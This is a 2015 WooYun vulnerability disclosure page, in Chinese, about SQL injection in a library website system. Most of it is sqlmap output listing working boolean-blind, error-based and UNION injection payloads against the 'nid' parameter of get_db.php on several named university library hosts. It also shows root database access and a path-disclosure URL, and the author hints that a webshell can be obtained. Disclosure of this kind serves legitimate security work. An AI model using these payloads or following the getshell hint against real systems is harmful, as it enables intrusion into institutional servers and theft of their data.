当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100571

漏洞标题:某通用图书馆建站程序存在注入漏洞

相关厂商:乐致安信息技术有限公司

漏洞作者: i3esn0w

提交时间:2015-03-11 12:26

修复时间:2015-06-14 08:26

公开时间:2015-06-14 08:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-11: 细节已通知厂商并且等待厂商处理中
2015-03-16: 厂商已经确认,细节仅向厂商公开
2015-03-19: 细节向第三方安全合作伙伴开放
2015-05-10: 细节向核心白帽子及相关领域专家公开
2015-05-20: 细节向普通白帽子公开
2015-05-30: 细节向实习白帽子公开
2015-06-14: 细节向公众公开

简要描述:

通用的是不是分高啊?

详细说明:

问题厂商:乐致安信息技术有限公司
用户量:大
影响:大

漏洞证明:

证明
所有用户:http://www.smartlib.cn/do/list.php?fid=32
http://219.219.114.96/njut/do/get_db.php?0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1&order_by=undefined&page=1&rows=20&type=sp
南京大学图书馆

sqlmap identified the following injection points with a total of 171 HTTP(s) requests:
---
Place: GET
Parameter: nid
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: 0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1 RLIKE (SELECT (CASE WHEN (6988=6988) THEN 1 ELSE 0x28 END))&order_by=undefined&page=1&rows=20&type=sp
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: 0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1 AND (SELECT 4525 FROM(SELECT COUNT(*),CONCAT(0x716e666f71,(SELECT (CASE WHEN (4525=4525) THEN 1 ELSE 0 END)),0x7176797071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&order_by=undefined&page=1&rows=20&type=sp
---
web server operating system: Windows
web application technology: PHP 5.2.10, Apache 2.0.63
back-end DBMS: MySQL 5.0


http://library.shiep.edu.cn//do/get_db.php?0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1%27&order_by=undefined&page=1&rows=20&type=sp
上海电力学院图书馆

sqlmap identified the following injection points with a total of 86 HTTP(s) requests:
---
Place: GET
Parameter: nid
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: 0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1 RLIKE (SELECT (CASE WHEN (1374=1374) THEN 1 ELSE 0x28 END))&order_by=undefined&page=1&rows=20&type=sp
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: 0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1 AND (SELECT 9025 FROM(SELECT COUNT(*),CONCAT(0x716f6e7a71,(SELECT (CASE WHEN (9025=9025) THEN 1 ELSE 0 END)),0x716a796c71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&order_by=undefined&page=1&rows=20&type=sp
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: 0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=-3483 UNION ALL SELECT CONCAT(0x716f6e7a71,0x665a79736956456b5a6f,0x716a796c71),NULL#&order_by=undefined&page=1&rows=20&type=sp
---
web server operating system: Windows
web application technology: PHP 5.2.10, Apache 2.0.63
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: nid
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: 0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1 RLIKE (SELECT (CASE WHEN (1374=1374) THEN 1 ELSE 0x28 END))&order_by=undefined&page=1&rows=20&type=sp
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: 0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1 AND (SELECT 9025 FROM(SELECT COUNT(*),CONCAT(0x716f6e7a71,(SELECT (CASE WHEN (9025=9025) THEN 1 ELSE 0 END)),0x716a796c71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&order_by=undefined&page=1&rows=20&type=sp
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: 0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=-3483 UNION ALL SELECT CONCAT(0x716f6e7a71,0x665a79736956456b5a6f,0x716a796c71),NULL#&order_by=undefined&page=1&rows=20&type=sp
---
web server operating system: Windows
web application technology: PHP 5.2.10, Apache 2.0.63
back-end DBMS: MySQL 5.0
current user: 'root@localhost'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:


http://202.195.177.6/do/get_db.php?0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1%E2%80%99&order_by=undefined&page=1&rows=20&type=sp
南京医科大学图书馆

sqlmap identified the following injection points with a total of 171 HTTP(s) requests:
---
Place: GET
Parameter: nid
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: 0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1 RLIKE (SELECT (CASE WHEN (6988=6988) THEN 1 ELSE 0x28 END))&order_by=undefined&page=1&rows=20&type=sp
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: 0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1 AND (SELECT 4525 FROM(SELECT COUNT(*),CONCAT(0x716e666f71,(SELECT (CASE WHEN (4525=4525) THEN 1 ELSE 0 END)),0x7176797071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&order_by=undefined&page=1&rows=20&type=sp
---
web server operating system: Windows
web application technology: PHP 5.2.10, Apache 2.0.63
back-end DBMS: MySQL 5.0


http://211.86.245.160/aufe/do/get_db.php?0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1%27&order_by=undefined&page=1&rows=20&type=sp
安徽财经大学图书馆

sqlmap identified the following injection points with a total of 171 HTTP(s) requests:
---
Place: GET
Parameter: nid
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: 0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1 RLIKE (SELECT (CASE WHEN (6988=6988) THEN 1 ELSE 0x28 END))&order_by=undefined&page=1&rows=20&type=sp
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: 0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1 AND (SELECT 4525 FROM(SELECT COUNT(*),CONCAT(0x716e666f71,(SELECT (CASE WHEN (4525=4525) THEN 1 ELSE 0 END)),0x7176797071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&order_by=undefined&page=1&rows=20&type=sp
---
web server operating system: Windows
web application technology: PHP 5.2.10, Apache 2.0.63
back-end DBMS: MySQL 5.0


http://lib.cslg.cn/do/get_db.php?0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1%E2%80%99&order_by=undefined&page=1&rows=20&type=sp
常熟理工学院图书馆

sqlmap identified the following injection points with a total of 78 HTTP(s) requests:
---
Place: GET
Parameter: nid
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: 0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1 RLIKE (SELECT (CASE WHEN (1200=1200) THEN 1 ELSE 0x28 END))&order_by=undefined&page=1&rows=20&type=sp
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: 0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1 AND (SELECT 2484 FROM(SELECT COUNT(*),CONCAT(0x7161767071,(SELECT (CASE WHEN (2484=2484) THEN 1 ELSE 0 END)),0x7179657371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&order_by=undefined&page=1&rows=20&type=sp
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: 0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1 UNION ALL SELECT CONCAT(0x7161767071,0x6d704444726c54465951,0x7179657371),53#&order_by=undefined&page=1&rows=20&type=sp
---
web server operating system: Windows
web application technology: Apache 2.0.63, PHP 5.2.14
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: nid
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: 0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1 RLIKE (SELECT (CASE WHEN (1200=1200) THEN 1 ELSE 0x28 END))&order_by=undefined&page=1&rows=20&type=sp
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: 0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1 AND (SELECT 2484 FROM(SELECT COUNT(*),CONCAT(0x7161767071,(SELECT (CASE WHEN (2484=2484) THEN 1 ELSE 0 END)),0x7179657371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&order_by=undefined&page=1&rows=20&type=sp
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: 0.013136412249878049&desc_=undefined&div=content&id_sort=5&nid=1 UNION ALL SELECT CONCAT(0x7161767071,0x6d704444726c54465951,0x7179657371),53#&order_by=undefined&page=1&rows=20&type=sp
---
web server operating system: Windows
web application technology: Apache 2.0.63, PHP 5.2.14
back-end DBMS: MySQL 5.0
current user: 'root@localhost'


你以为只是注入就完了吗?
难道你没发现都是root用户吗?
然后你没发现
http://library.shiep.edu.cn/ewebeditor/upfile.php
这里会泄露网站的绝对路径吗?
难道你以为不能getshell吗?

QQ截图20150310211752.png


修复方案:

过滤

版权声明:转载请注明来源 i3esn0w@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-03-16 08:24

厂商回复:

暂未建立与软件生产厂商的直接处置渠道,待认领。

最新状态:

暂无


漏洞评价:

评论